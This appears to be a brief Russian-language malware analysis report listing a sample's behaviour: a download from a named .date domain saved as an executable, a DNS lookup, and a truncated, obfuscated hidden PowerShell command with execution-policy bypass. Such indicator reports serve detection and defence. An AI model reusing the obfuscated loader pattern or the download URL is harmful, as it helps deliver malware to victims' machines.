Техническая информация
- \https://curifirs.date/cliponboard\ как \$des\3807939.exe\
- '<SYSTEM32>\cmd.exe' /c"pOwErsHeLl -noPRoFI -Win HiDden -noLo -nONinTeRa -ExeCuTIOnP byPass "$7d0mK6 = [Type](\"{1}{0}{3}{2}\" -f 'on','eNVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 31;${D`es} = $7d0mk6::...
- DNS ASK cu###irs.date
- '<SYSTEM32>\cmd.exe' /c"pOwErsHeLl -noPRoFI -Win HiDden -noLo -nONinTeRa -ExeCuTIOnP byPass "$7d0mK6 = [Type](\"{1}{0}{3}{2}\" -f 'on','eNVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 31;${D`es} = $7d0mk6::...' (со скрытым окном)